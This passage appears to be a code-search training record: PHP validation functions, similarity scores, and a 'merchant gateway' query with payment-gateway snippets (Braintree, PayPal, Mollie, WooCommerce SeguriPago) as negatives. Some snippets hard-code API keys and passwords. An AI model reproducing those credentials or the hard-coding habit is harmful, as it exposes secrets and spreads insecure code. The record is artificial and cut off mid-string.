return preg_match($pattern, $fileName) === 0;\n }", "function validateName($string){\n\n\tif(preg_match(\"/^[a-zA-Z\\s]{5,30}$/\", $string)){\n\n\t\treturn true;\n\t}\n\telse{\n\n\t\treturn false;\n\t}\n\n\n}", "function verify_name($name) // Colorize: green\n { // Colorize: green\n return isset($name) // Colorize: green\n && // Colorize: green\n is_string($name) // Colorize: green\n && // Colorize: green\n $name != \"\"; // Colorize: green\n }", "function isValidShortName($name) {\n return preg_match('#^[a-z0-9]+$#i', $name);\n}", "protected function isAllowed(string $name) : bool\n {\n return array_key_exists($name, $this->currentProperties);\n }", "protected function isSpecialName($name)\n {\n return in_array($name, array('default', 'root', 'parent'));\n }", "private function prepare_name( $name ) {\n\n\t\t$name = trim( $name, '\\\\' );\n\n\t\t// Our classes are not in a dedicated namespace (yet).\n\t\tif ( false !== strpos( $name, '\\\\' ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Our classes start with \"Mlp_\" always.\n\t\tif ( 0 !== strpos( $name, 'Mlp_' ) && 0 !== strpos( $name, 'Inpsyde_' ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $name;\n\t}", "public static function validate(string $name) : bool\n {\n if (! preg_match(self::$validIdentifierMatcher, $name)) {\n throw new InvalidArgumentException(sprintf(\n 'Provided name \"%s\" is invalid name: must conform \"%s\"',\n $name,\n self::$validIdentifierMatcher\n ));\n }\n\n return true;\n }", "protected function isValidName(string $key): bool\n {\n return preg_match('/^[\\w\\.]+$/', $key) ? true : false;\n }", "public function hasName($name)\n {\n if(strcasecmp($this->data['name'], $name ) == 0)\n return true;\n return false;\n }", "function checkExistance($filter_name)\n {\n $filter_file_name = Image_Filter::getFilterFileName($filter_name);\n if (!file_exists($filter_file_name)){\n return false;\n }\n if (!is_readable($filter_file_name)){\n return false;\n }\n return true;\n }" ]
[ "0.802819", "0.7714814", "0.7443486", "0.73640317", "0.7297015", "0.71925724", "0.71594346", "0.71534747", "0.7104145", "0.7102444", "0.7047936", "0.703362", "0.7030269", "0.6971984", "0.6816961", "0.6788382", "0.6780255", "0.67668587", "0.67611545", "0.6760311", "0.6720888", "0.6704219", "0.6702544", "0.66919315", "0.6683336", "0.66615576", "0.66596776", "0.6657229", "0.66529745", "0.66495746", "0.66435003", "0.6640629", "0.6620534", "0.66148186", "0.6611572", "0.6544581", "0.65349954", "0.6493274", "0.64810723", "0.64721256", "0.6470309", "0.64570594", "0.64525187", "0.6436507", "0.64247584", "0.64070344", "0.6393916", "0.6348303", "0.6340199", "0.6321545", "0.6315387", "0.63014674", "0.6284769", "0.6274121", "0.6253864", "0.6208124", "0.62053704", "0.6200744", "0.6148661", "0.6147467", "0.6143613", "0.6143606", "0.6134766", "0.6109975", "0.61080974", "0.61052215", "0.60828006", "0.60726887", "0.6068614", "0.6056622", "0.60546696", "0.605254", "0.6052286", "0.6036919", "0.6008533", "0.6005849", "0.6003564", "0.5999635", "0.59958553", "0.59925115", "0.59907013", "0.5987277", "0.5986397", "0.5985807", "0.59779185", "0.5969325", "0.59514946", "0.5947799", "0.5934276", "0.5933099", "0.592948", "0.59279263", "0.5918818", "0.59093046", "0.590654", "0.5905826", "0.59047025", "0.5900662", "0.5884874", "0.58820707" ]
0.80172753
1
Construct a new merchant gateway
public function __construct() { // Load components required by this gateway Loader::loadComponents($this, array("Input", "Net")); // Load the language required by this gateway Language::loadLang("alipay", null, dirname(__FILE__) . DS . "language" . DS); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function PaymentGateway()\n\t\t{\n\t\t\t// exit(\"Cannot instantiate this class directly\");\n\t\t}", "public function inicializa(){\n $this->pasarela=new Braintree_Gateway([\n 'environment' => 'sandbox',\n 'merchantId' => '5rhrmyjvb8grrg3p',\n 'publicKey' => 'fxckz62h6j8gfmq3',\n 'privateKey' => '35700099a2f8e6b64d3386ef86609b70'\n ]);\n }", "public function __construct()\n {\n $this->merchant = [\n 'key' => getenv('MERCHANT_KEY'),\n 'secret' => getenv('MERCHANT_SECRET')\n ];\n }", "function merchantConfigObject()\n{\n $config = new \\CyberSource\\Authentication\\Core\\MerchantConfiguration();\n $runEnv = \"api-matest.cybersource.com\";\n #OAuth related config\n $enableClientCert = true;\n $clientCertDirectory = \"Resources/\";\n $clientCertFile = \"\"; // p12 certificate\n $clientCertPassword = \"\"; // password used to encrypt p12\n $clientId = \"\";\n $clientSecret = \"\";\n\n $confiData = $config->setEnableClientCert($enableClientCert);\n $confiData = $config->setClientCertDirectory($clientCertDirectory);\n $confiData = $config->setClientCertFile($clientCertFile);\n $confiData = $config->setClientCertPassword($clientCertPassword);\n $confiData = $config->setClientId($clientId);\n $confiData = $config->setClientSecret($clientSecret);\n $confiData = $config->setRunEnvironment($runEnv);\n $config->validateMerchantData($confiData);\n return $config;\n}", "public function __construct()\n {\n\n // Load components required by this gateway\n Loader::loadComponents($this, array(\"Input\"));\n\n // Load the language required by this gateway\n Language::loadLang(\"tpay_payments\", null, dirname(__FILE__) . DS . \"language\" . DS);\n\n $this->loadConfig(dirname(__FILE__) . DS . \"config.json\");\n\n include_once 'lib/src/_class_tpay/validate.php';\n include_once 'lib/src/_class_tpay/util.php';\n include_once 'lib/src/_class_tpay/exception.php';\n include_once 'lib/src/_class_tpay/paymentBasic.php';\n include_once 'lib/src/_class_tpay/curl.php';\n include_once 'lib/src/_class_tpay/lang.php';\n }", "public function getGateway(){\n\n // Payment Method Configuration\n $paymentMethod = braintree_getPaymentMethodConfiguration();\n\n $config = new \\Braintree\\Configuration([\n 'environment' => $paymentMethod->options->mode,\n 'merchantId' => $paymentMethod->options->merchantId,\n 'publicKey' => $paymentMethod->options->publicKey,\n 'privateKey' => $paymentMethod->options->privateKey\n ]);\n\n $gateway = new \\Braintree\\Gateway($config);\n\n return $gateway;\n\n }", "function authorize_sim_add_gateway( $nzshpcrt_gateways ) {\n\n\t//if ( $authsim_shpcrt_active === 'true' ):\n\trequire_once( 'authorize-sim.merchant.php' );\n\t$num = count( $nzshpcrt_gateways ) + 1;\n\t$nzshpcrt_gateways[$num] = array(\n\t\t'name' => 'Authorize.net SIM',\n\t\t'api_version' => 2.0,\n\t\t'class_name' => 'wpsc_merchant_authorize_sim',\n\t\t'image' => WPSC_URL . '/images/cc.gif',\n\t\t'has_recurring_billing' => true,\n\t\t'wp_admin_cannot_cancel' => false,\n\t\t'requirements' => array(\n\t\t\t/// so that you can restrict merchant modules to PHP 5, if you use PHP 5 features\n\t\t\t'php_version' => 5.0,\n\t\t\t/// for modules that may not be present, like curl\n\t\t\t'extra_modules' => array()\n\t\t),\n\t\n\t\t// this may be legacy, not yet decided\n\t\t'internalname' => 'wpsc_merchant_authorize_sim',\n\n\t\t// All array members below here are legacy, and use the code in authorize-sim.merchant.php\n\t\t'form' => \"form_authorize_sim\",\n\t\t'submit_function' => \"submit_authorize_sim\",\n\t\t'payment_type' => \"credit_card\",\n\t\t'supported_currencies' => array(\n\t\t\t'currency_list' => array( 'USD', 'CAD', 'GBP' ),\n\t\t),\n\t);\n\t//endif;\n\treturn $nzshpcrt_gateways;\n}", "public function makePayment() {\n\t\tLoggerRegistry::debug('CustomerModule::makePayment()');\n\t\t// TODO Payment gateway integration\n\t}", "public function createPayment()\n\t{\n\n\t}", "public function __construct() {\n $this->_gatewayRedirect = new Agel_Payment_Gateway_RedirectContainer ();\n }", "public function create(){\n $payer = new Payer();\n $payer->setPaymentMethod(\"paypal\");\n\n // Set redirect URLs\n $redirectUrls = new RedirectUrls();\n\n if (App::environment() == 'production') {\n $app_url = \"https://doomus.com.br/public\";\n } else {\n $app_url = \"http://localhost:8000\";\n }\n\n $redirectUrls->setReturnUrl(\"$app_url/execute-payment\")\n ->setCancelUrl(\"$app_url/cancel-payment\");\n\n // Set payment amount\n if(session('cupom') !== null && session('valorFrete') !== null){\n $amount = new Amount();\n $amount->setCurrency(\"BRL\")\n ->setTotal(round(Cart::total(), 2) + str_replace(',','.', session('valorFrete')));\n }elseif(session('valorFrete') !== null){\n $amount = new Amount();\n $amount->setCurrency(\"BRL\")\n ->setTotal(Cart::total() + str_replace(',','.', session('valorFrete')));\n }else{\n $amount = new Amount();\n $amount->setCurrency(\"BRL\")\n ->setTotal(Cart::total());\n }\n\n // Set transaction object\n $transaction = new Transaction();\n $transaction->setAmount($amount)\n ->setDescription(\"Payment description\");\n\n // Create the full payment object\n $payment = new Payment();\n $payment->setIntent('sale')\n ->setPayer($payer)\n ->setRedirectUrls($redirectUrls)\n ->setTransactions(array($transaction));\n\n // Create payment with valid API context\n try {\n $payment->create($this->_apiContext);\n \n // Get PayPal redirect URL and redirect the customer\n return redirect($payment->getApprovalLink());\n \n // Redirect the customer to $approvalUrl\n } catch (PayPalConnectionException $ex) {\n echo $ex->getCode();\n echo $ex->getData();\n die($ex);\n } catch (Exception $ex) {\n die($ex);\n }\n }", "protected function createPayment() {\n /* @var \\Drupal\\commerce_payment\\Plugin\\Commerce\\PaymentGateway\\PaymentGatewayInterface $payment_gateway */\n $payment_gateway = $this->order->payment_gateway->entity;\n $payment_method = $this->order->payment_method->entity;\n\n $now = REQUEST_TIME;\n $mode = SIPSPaymentGateway::MODES[$payment_gateway->getPlugin()->configuration['mode']];\n\n // Create a payment entity which will be initially in \"pending mode\":\n // \"pending mode\": means that the payment was still not finished in SIPS,\n // so the user is in the platform filling in the credit card or he/she had\n // problems to pay that time (timeout/closed the browser/etc).\n $payment = Payment::create([\n 'order_id' => $this->order->id(),\n 'payment_method' => $payment_method->id(),\n 'payment_gateway' => $payment_gateway->id(),\n // Give it a status: pending/failed/done.\n 'state' => 'new',\n 'remote_state' => 'pending',\n // Give it a max_timestamp of 24 hours.\n 'authorization_expires' => $now + (24 * 60 * 60),\n // Give it a transaction reference.\n 'remote_id' => $this->order->id() . $now,\n 'test' => $mode != PaymentRequest::PRODUCTION,\n 'amount' => $this->order->getTotalPrice(),\n ]);\n\n $payment->save();\n\n return $payment;\n }", "protected function _buildRequest()\n {\n // prepare API\n $this->setShippingMethod('Other');\n $this->setCustomerIP(Mage::helper('core/http')->getRemoteAddr());\n $version = Mage::helper('ewayrapid')->getExtensionVersion();\n $this->setDeviceID('Magento ' . Mage::getEdition() . ' ' . Mage::getVersion().' - eWAY '.$version);\n if (Mage::helper('ewayrapid')->isBackendOrder()) {\n $this->setTransactionType(Eway_Rapid31_Model_Config::TRANSACTION_MOTO);\n } else {\n $this->setTransactionType(Eway_Rapid31_Model_Config::TRANSACTION_PURCHASE);\n }\n $this->setCustomerReadOnly(true);\n\n // add Billing Address\n $billingAddress = $this->_quote->getBillingAddress();\n $customerParam = Mage::getModel('ewayrapid/field_customer');\n \n $title = $this->_fixTitle($billingAddress->getPrefix());\n \n $customerParam->setTitle($title)\n ->setFirstName($billingAddress->getFirstname())\n ->setLastName($billingAddress->getLastname())\n ->setCompanyName($billingAddress->getCompany())\n ->setJobDescription($billingAddress->getJobDescription())\n ->setStreet1($billingAddress->getStreet1())\n ->setStreet2($billingAddress->getStreet2())\n ->setCity($billingAddress->getCity())\n ->setState($billingAddress->getRegion())\n ->setPostalCode($billingAddress->getPostcode())\n ->setCountry(strtolower($billingAddress->getCountryModel()->getIso2Code()))\n ->setEmail($billingAddress->getEmail())\n ->setPhone($billingAddress->getTelephone())\n ->setMobile($billingAddress->getMobile())\n ->setComments('')\n ->setFax($billingAddress->getFax())\n ->setUrl('');\n $this->setCustomer($customerParam);\n\n // add Shipping Address\n $shippingAddress = $this->_quote->getShippingAddress();\n\n // copy BillingAddress to ShippingAddress if checkout with guest or register\n $checkoutMethod = $this->_quote->getCheckoutMethod();\n if ($checkoutMethod == Mage_Checkout_Model_Type_Onepage::METHOD_GUEST\n || $checkoutMethod == Mage_Checkout_Model_Type_Onepage::METHOD_REGISTER\n ) {\n $shippingAddress = $billingAddress;\n }\n\n $shippingParam = Mage::getModel('ewayrapid/field_shippingAddress');\n $shippingParam->setFirstName($shippingAddress->getFirstname())\n ->setLastName($shippingAddress->getLastname())\n ->setStreet1($shippingAddress->getStreet1())\n ->setStreet2($shippingAddress->getStreet2())\n ->setCity($shippingAddress->getCity())\n ->setState($shippingAddress->getRegion())\n ->setPostalCode($shippingAddress->getPostcode())\n ->setCountry(strtolower($shippingAddress->getCountryModel()->getIso2Code()))\n ->setEmail($shippingAddress->getEmail())\n ->setPhone($shippingAddress->getTelephone())\n ->setFax($shippingAddress->getFax());\n $this->setShippingAddress($shippingParam);\n\n return $this;\n }", "public function __construct()\n {\n // create object to manage MangoPay API\n $this->connexionApi = new MangoPay\\MangoPayApi();\n // login : password : temp directory\n $this->connexionApi->Config->ClientId = 'aurelgouilhers';\n $this->connexionApi->Config->ClientPassword = 'wr42AYOg5LU5OE3dn10qNrbfsDC7iYeRHu3N4Gjw3KtGDuSC1V';\n $this->connexionApi->Config->TemporaryFolder = __DIR__.\"/../../../TEMP_MANGOPAY\";\n //declaration reoute retour pour recuperation card_Id object\n $this->urlServer = 'http' . ( isset($_SERVER['HTTPS']) ? 's' : '' ) . '://' . $_SERVER['HTTP_HOST'];\n $this->urlServer .= substr($_SERVER['REQUEST_URI'], 0, strripos($_SERVER['REQUEST_URI'], ' ') + 1);\n\n }", "function createGatewayLink( $request )\r\n\t{\r\n\t\t$var['post_url']\t\t= \"https://ssl.ditonlinebetalingssystem.dk/popup/default.asp\";\r\n\t\t$var['orderid']\t\t\t= $request->invoice->id;\r\n\t\t$var['amount']\t\t\t= $request->int_var['amount'] * 100;\r\n\t\t$var['merchantnumber']\t= $this->settings['merchantnumber'];\r\n\t\t$var['currency']\t\t= AECToolbox::aecNumCurrency( $this->settings['currency'] );\r\n\t\t$var['language']\t\t= $this->getEpayLanguage( $this->settings['language'] );\r\n\r\n\t\t// for this solution always use state 2 (full window (same window))\r\n\t\t$var['windowstate']\t\t= $this->settings['windowstate'];\r\n\t\t$var['accepturl']\t\t= $request->int_var['return_url'];\r\n\t\t$var['declineurl']\t\t= AECToolbox::deadsureURL(\"index.php?option=com_acctexp&amp;task=cancel\");\r\n\t\t$var['callbackurl']\t\t= AECToolbox::deadsureURL(\"index.php?option=com_acctexp&amp;task=epaynotification\");\r\n\r\n\t\t$var['group']\t\t\t= $this->settings['group'];\r\n\t\t$var['description']\t\t= AECToolbox::rewriteEngineRQ( $this->settings['description'], $request );\r\n\t\t$var['authsms']\t\t\t= $this->settings['authsms'];\r\n\t\t$var['authmail']\t\t= $this->settings['authmail'];\r\n\r\n\t\tif ( $this->settings['use3D'] == 1 ) {\r\n\t\t\t$var['use3D'] = \"1\";\r\n\t\t}\r\n\r\n\t\tif ( $this->settings['addfee'] == 1 ) {\r\n\t\t\t$var['addfee'] = \"1\";\r\n\t\t}\r\n\r\n\t\treturn $var;\r\n\t}", "public function create($key = null)\n {\n if (!($gateway = $this->getGateway($key))) {\n throw new RuntimeException(\"Gateway '$key' not found\");\n }\n\n $class = $gateway['gateway'];\n\n if (!class_exists($class)) {\n throw new RuntimeException(\"Class '$class' not found\");\n }\n\n $options = $this->settings;\n\n $options = array_replace($options, $gateway['options']);\n\n // Create new gateway and attach extra services\n $gateway = new $class($this->logger, $options);\n\n return $gateway;\n }", "public function getGateway() {\n\n if (null === $this->_gateway) {\n $class = 'Engine_Payment_Gateway_Paynow';\n Engine_Loader::loadClass($class);\n $gateway = new $class(array(\n 'config' => (array) $this->_gatewayInfo->config,\n 'testMode' => $this->_gatewayInfo->test_mode,\n 'currency' => Engine_Api::_()->sitegateway()->getCurrency(),\n ));\n if (!($gateway instanceof Engine_Payment_Gateway)) {\n throw new Engine_Exception('Plugin class not instance of Engine_Payment_Gateway');\n }\n $this->_gateway = $gateway;\n }\n\n return $this->_gateway;\n }", "public function buildPaymorrowGateway()\n {\n $oPmGateway = $this->getPaymorrowGateway();\n $oPmGateway->setPmClient( $this->getPaymorrowClient() );\n $oPmGateway->setEshopDataProvider( $this->getEshopDataProvider() );\n $oPmGateway->setEndPointUrl( $this->getPaymorrowSettings()->getEndPointURL() );\n\n /**\n * Using singleton pattern in order to get access to this object later\n * and check response from Paymorrow\n */\n $oPmGateway->setResponseHandler( oxRegistry::get( 'OxpsPaymorrowResponseHandler' ) );\n\n return $oPmGateway;\n }", "private function __construct() {\n\t\t\tif ( ! class_exists( 'WC_Payment_Gateway' ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( is_user_logged_in() ) {\n\t\t\t\t$current_user = wp_get_current_user();\n\t\t\t\t$this->omise_customer_id = Omise()->settings()->is_test() ? $current_user->test_omise_customer_id : $current_user->live_omise_customer_id;\n\t\t\t}\n\n\t\t\t$this->customerCard = new OmiseCustomerCard;\n\t\t\t$this->omiseCardGateway = new Omise_Payment_Creditcard();\n\n\t\t\tadd_action( 'woocommerce_after_my_account', array( $this, 'init_panel' ) );\n\t\t\tadd_action( 'wp_ajax_omise_delete_card', array( $this, 'omise_delete_card' ) );\n\t\t\tadd_action( 'wp_ajax_omise_create_card', array( $this, 'omise_create_card' ) );\n\t\t\tadd_action( 'wp_ajax_nopriv_omise_delete_card', array( $this, 'no_op' ) );\n\t\t\tadd_action( 'wp_ajax_nopriv_omise_create_card', array( $this, 'no_op' ) );\n\t\t}", "function __construct($properties = null) {\n\t\t$this->info = parent::getGateway();\n\n\t\t/**\n\t\t# API user: The user that is identified as making the call. you can\n\t\t# also use your own API username that you created on PayPal�s sandbox\n\t\t# or the PayPal live site\n\t\t*/\n\t\t$this->API_UserName=$this->info['merchant']['api_username'];\n\n\n\t\t/**\n\t\t# API_password: The password associated with the API user\n\t\t# If you are using your own API username, enter the API password that\n\t\t# was generated by PayPal below\n\t\t# IMPORTANT - HAVING YOUR API PASSWORD INCLUDED IN THE MANNER IS NOT\n\t\t# SECURE, AND ITS ONLY BEING SHOWN THIS WAY FOR TESTING PURPOSES\n\t\t*/\n\t\t$this->API_Password=$this->info['merchant']['api_password'];\n\n\t\t/**\n\t\t# API_Signature:The Signature associated with the API user. which is generated by paypal.\n\t\t*/\n\t\t$this->API_Signature=$this->info['merchant']['api_signature'];\n\n\t\t/**\n\t\t# Version: this is the API version in the request.\n\t\t# It is a mandatory parameter for each API request.\n\t\t# The only supported value at this time is 2.3\n\t\t*/\n\t\t$this->version=2.3;\n\n\t\t$this->subject = '';\n\n\t\t// below three are needed if used permissioning\n\t\t$this->AUTH_token='';\n\n\t\t$this->AUTH_signature='';\n\n\t\t$this->AUTH_timestamp='';\n\n\t\t$this->USE_PROXY = FALSE;\n\n\t\t/**\n\t\t# PROXY_HOST and PROXY_PORT will be read only if USE_PROXY is set to TRUE\n\n\t\t$this->PROXY_HOST = 127.0.0.1;\n\t\t$this->PROXY_PORT = 808;\n\t\t*/\n\n\t\t/* Define the PayPal URL. This is the URL that the buyer is\n\t\t first sent to to authorize payment with their paypal account\n\t\t change the URL depending if you are testing on the sandbox\n\t\t or going to the live PayPal site\n\t\t For the sandbox, the URL is\n\t\t https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=\n\t\t For the live site, the URL is\n\t\t https://www.paypal.com/webscr&cmd=_express-checkout&token=\n\t\t */\n\t\tif ($this->info['merchant']['type'] == 0) {\n\t\t\t$this->PAYPAL_URL = 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=';\n\n\t\t\t/**\n\t\t\t# Endpoint: this is the server URL which you have to connect for submitting your API request.\n\t\t\t*/\n\t\t\t$this->API_Endpoint ='https://api-3t.sandbox.paypal.com/nvp';\n\t\t} else {\n\t\t\t$this->PAYPAL_URL = 'https://www.paypal.com/webscr&cmd=_express-checkout&token=';\n\n\t\t\t/**\n\t\t\t# Endpoint: this is the server URL which you have to connect for submitting your API request.\n\t\t\t*/\n\t\t\t$this->API_Endpoint ='https://api-3t.paypal.com/nvp';\n\t\t}\n\n\t\t// Ack related constants\n\t\t$this->ACK_SUCCESS = 'SUCCESS';\n\t\t$this->ACK_SUCCESS_WITH_WARNING = 'SUCCESSWITHWARNING';\n\n\t\tparent::__construct($properties);\n\t}", "private function createPaymentRequest()\n {\n $helper = Mage::helper('pagseguro');\n\n // Get references that stored in the database\n $reference = $helper->getStoreReference();\n\n $paymentRequest = new PagSeguroPaymentRequest();\n $paymentRequest->setCurrency(PagSeguroCurrencies::getIsoCodeByName(self::REAL));\n $paymentRequest->setReference($reference . $this->order->getId()); //Order ID\n $paymentRequest->setShipping($this->getShippingInformation()); //Shipping\n $paymentRequest->setSender($this->getSenderInformation()); //Sender\n $paymentRequest->setItems($this->getItensInformation()); //Itens\n $paymentRequest->setShippingType(SHIPPING_TYPE);\n $paymentRequest->setShippingCost(number_format($this->order->getShippingAmount(), 2, '.', ''));\n $paymentRequest->setNotificationURL($this->getNotificationURL());\n $helper->getDiscount($paymentRequest);\n\n //Define Redirect Url\n $redirectUrl = $this->getRedirectUrl();\n\n if (!empty($redirectUrl) and $redirectUrl != null) {\n $paymentRequest->setRedirectURL($redirectUrl);\n } else {\n $paymentRequest->setRedirectURL(Mage::getUrl() . 'checkout/onepage/success/');\n }\n\n //Define Extra Amount Information\n $paymentRequest->setExtraAmount($this->extraAmount());\n\n try {\n $paymentUrl = $paymentRequest->register($this->getCredentialsInformation());\n } catch (PagSeguroServiceException $ex) {\n Mage::log($ex->getMessage());\n $this->redirectUrl(Mage::getUrl() . 'checkout/onepage');\n }\n\n return $paymentUrl;\n }", "public function create()\n {\n try{\n $mollie = new MollieApiClient();\n $mollie->setApiKey(\"test_WD2sWvUWWRqBKfUTy5VS5t8f623ad3\");\n $payment = $mollie->payments->create([\n \"amount\" => [\n \"currency\" => \"EUR\",\n \"value\" => \"10.00\"\n ],\n \"description\" => \"My first API payment\",\n \"redirectUrl\" => \"http://google.com\",\n ]);\n return $payment->getCheckoutUrl();\n// header(\"Location: \" . $payment->getCheckoutUrl(), true, 303);\n } catch (\\Exception $e) {\n return response()->json($e->getMessage(), 400);\n }\n\n }", "function gateway_init()\n{\n // it means WooCommerce is not installed on the site\n // so do nothing\n if (! class_exists('WC_Payment_Gateway'))\n return;\n\n // If we made it this far, then include our Gateway Class\n include_once ('alphagateway_class.php');\n include_once ('alphagatewaymasterpass_class.php');\n\n // Now that we have successfully included our class,\n // Lets add it too WooCommerce\n add_filter('woocommerce_payment_gateways', 'add_mygateway');\n\n function add_mygateway($methods)\n {\n $methods[] = 'WC_Gateway_Alpha';\n $methods[] = 'WC_Gateway_Alpha_Masterpass';\n return $methods;\n }\n}", "public function createPayment() {\n $api = new ApiPayment($this->_clientId, $this->_clientSecret, $this->_isTest);\n return $api;\n }", "private function _init() {\n\n global $admin_settings;\n global $payment_list;\n\n new KP_Korapay_Shortcode;\n\n $admin_settings = KP_Korapay_Admin_Settings::get_instance();\n $payment_list = KP_Korapay_Payment_List::get_instance();\n\n if ( is_admin() ) {\n KP_Tinymce_Plugin::get_instance();\n }\n\n if ($admin_settings->get_option_value( 'go_live' ) === 'yes' ) {\n $this->api_base_url = 'https://api.korapay.com/merchant';\n }\n\n }", "function init_wc_seguripago_payment_gateway() {\n if ( ! class_exists( 'WC_Payment_Gateway' ) ) { return; }\n\n //definir ruta del plugin\n DEFINE ('PLUGIN_DIR', plugins_url( basename( plugin_dir_path( __FILE__ ) ), basename( __FILE__ ) ) . '/' );\n\n /**\n * Pasarela pago: Seguripago\n *\n * Proporciona a seguripago un Estándar de pasarela de pago.\n *\n * @class WC_seguripago\n * @extends WC_Payment_Gateway\n * @version 0.1\n * @package\n * @author juan carlos rojas toralva\n */\n\n class WC_seguripago extends WC_Payment_Gateway {\n\n /**\n * Constructor de la pasarela de pago\n *\n * @access public\n * @return void\n */\n\n public function __construct()\n {\n\n global $woocommerce;\n\n $this->includes();\n $this->id = 'seguripago';\n $this->icon = home_url() . '/wp-content/plugins/' . dirname( plugin_basename( __FILE__ ) ) . '/assets/images/seguripago.jpg';\n $this->method_title = __( 'seguripago', 'WC-seguripago' );\n $this->method_description = __( 'Acepta tarjetas de credito o debito, cash, efectivo o transferencias bancarias', 'WC-seguripago' );\n //boton para seleccionar seguripago en la lista de pasarelas de pago\n $this->order_button_text = __( 'Proceder al pago', 'WC-seguripago' );\n $this->has_fields = false;\n\n //Cargue los campos de formulario.\n $this->init_form_fields();\n\n //Cargue los ajustes.\n $this->init_settings();\n\n // definicion de variables\n $this->title = $this->get_option( 'title' );\n $this->description = $this->get_option( 'description' );\n $this->sp_idSocio = $this->get_option( 'sp_idSocio' );\n $this->sp_key = $this->get_option( 'sp_key' );\n $this->sp_modo = $this->get_option( 'sp_modo' );\n $this->sp_nombre_comercio = $this->get_option( 'sp_nombre_comercio' );\n\n add_action('woocommerce_api_'. strtolower(get_class($this)), array($this, 'check_response' ) );//1\n add_action('woocommerce_receipt_seguripago', array(&$this, 'receipt_page'));\n add_action('woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );\n\n add_action( 'woocommerce_thankyou_'. strtolower(get_class($this)), array($this, 'custom_thankyou_page' ));\n\n add_filter( 'woocommerce_thankyou_order_received_text', array( $this, 'custom_thankyou_page' ) );\n\n if ( !$this->is_valid_for_use() ) $this->enabled = false;\n\n // Active logs.\n if ( 'test' == $this->sp_modo ) {\n if ( class_exists( 'WC_Logger' ) ) {\n $this->log = new WC_Logger();\n } else {\n $this->log = WC_seguripago::woocommerce_instance()->logger();\n }\n }\n\n }\n public function log_payment($mensaje = ''){\n $this->log->add( $this->id, 'Respuesta no válida Recibido de Seguripago. Error: '.$mensaje );\n return \"error al recepcionar los datos\";\n\n\n }\n\n /**\n * Mensaje de pagina gracias\n *\n * @access public\n * @param nothing\n * @return string\n */\n public function custom_thankyou_page()\n {\n\n global $woocommerce;\n //respuesta del comercion tras envio de post desde seguripago\n $sp_recepcion = new seguripagoRecepcionInmediato($this->sp_idSocio, $this->sp_key, $this->sp_modo);\n\n $data = $sp_recepcion->recibir();\n $id_order = ltrim($data['num_pedido'], '0');\n $id_order = (int) $id_order;\n $order = new WC_Order( $id_order );\n /**\n * Valide aquí si el número de pedido ($data['num_pedido']) existe en su sistema.\n */\n\n if ( !isset($order->id))\n $mensaje = $this->log_payment(\"numero de orden invalido\");\n\n /**\n * Valide aquí si el número de pedido ya fue cancelado.\n */\n if ( $order->get_status() <> 'pending' )\n $mensaje = $this->log_payment(\"estado de pedido\");\n\n /**\n * Valide aquí si el importe informado por SeguriPago ($data['importe']) coincide\n * con el monto registrado en su sistema.\n */\n //$importe = (int) $data['importe'];\n\n if ( $order->get_total() <> (int) $data['importe'])\n $mensaje = $this->log_payment(\"importe del pedido\");\n\n /**\n * Validar aquí el vencimiento del pago.\n */\n //$data['fecha_vencimiento']\n\n //validando la moneda\n if ( 'PEN' <> $order->get_order_currency())\n $mensaje = $this->log_payment(\"moneda del pedido\");\n\n if ( isset($mensaje) ) return $mensaje;\n /**\n * Actualice su base de datos con la información recibida.\n */\n\n $sp_recepcion->confirmar();\n\n\n\n if($data['resultado'] == \"1\")\n {\n\n /**\n * MENSAJE PARA PAGO INMEDIATO (SeguriCrédito)\n */\n if($data['tipo_respuesta'] == \"1\")\n {\n /**\n * Envíar aquí un mensaje al usuario indicando que la operación fue aceptada\n * y dar otra información que crea conveniente.\n */\n\n include(\"includes/seguripago/plantillas/respuesta_inmediato_aceptado.php\");\n\n // Mark order processing\n $order->update_status( 'processing' );\n\n /**\n * MENSAJE PARA PAGO DIFERIDO (SeguriCash y otros)\n */\n }\n else\n {\n /**\n * Envíar aquí un mensaje al usuario indicando que se generó un número de cupón\n * a ser cancelado en las entidades financieras BCP, Scotia, según lo establecido\n * en SeguriPago.\n *\n * Se pasa como parámetro la ruta del logo del comercio y el segundo parámetro\n * indica si se mostrará la orden de pago, en modo completo (true) o resumido (false - default)\n * Ver MANUAL.txt para más detalle.\n */\n $ruta_logo = PLUGIN_DIR . 'assets/images/qhatu-logo.png';\n $html = $sp_recepcion->pantallaSeguricash( $ruta_logo, $this->title, true);\n\n /**\n * Enviar $html por correo (opcional)\n */\n\n $subject = sprintf( __( 'Pendiente de pago para la Orden %s ', 'Seguripago' ), $id_order );\n\n $customer = new WC_Customer( $order_id );\n\n //Filtro para indicar que email debe ser enviado en modo HTML\n add_filter('wp_mail_content_type',create_function('', 'return \"text/html\";'));\n\n wp_mail( $order->billing_email, $subject, $html, 'header');\n\n echo \"<center><div style='width:700px;'>$html</div></center>\";\n\n // Change the status to pending / unpaid\n //$order->update_status('pending');\n\n }\n /**\n * ---------------------- MENSAJE PARA PAGO DESAPROBADO ------------------------\n */\n } else {\n /**\n * Envíar aquí un mensaje al usuario indicando que la operación no fue aceptada.\n */\n $mailer = WC()->mailer();\n\n $message = $mailer->wrap_message( 'Error al pagar' , 'Pago a través de seguripago falló' );\n\n $subject = sprintf( __( 'Pendiente de pago para la Orden %s ', 'Seguripago' ), $id_order );\n\n //Filtro para indicar que email debe ser enviado en modo HTML\n add_filter('wp_mail_content_type',create_function('', 'return \"text/html\";'));\n\n wp_mail( $order->billing_email, $subject, $message, 'header');\n\n // Mark order complete\n $message = 'Pago a través de seguripago falló';\n $order->update_status('failed', $message );\n\n include(\"includes/seguripago/plantillas/respuesta_inmediato_rechazado.php\");\n }\n // Empty cart and clear session\n $woocommerce->cart->empty_cart();\n\n }\n\n /**\n * Includes.\n *\n * @return void\n */\n private function includes()\n {\n include_once(\"includes/seguripago/seguripago_api.php\");\n }\n\n /**\n * Comprueba la respuesta del API.\n *\n * @access public\n * @param nothing\n * @return void\n */\n function check_response()\n {\n\n $sp_recepcion = new seguripagoRecepcionDiferido($this->sp_idSocio, $this->sp_key, $this->sp_modo);\n $data = $sp_recepcion->recibir();\n if(!is_array($data)) {\n switch($data) {\n case '01': echo \"Error al recepcionar datos.\"; break;\n case '02': echo \"Error en 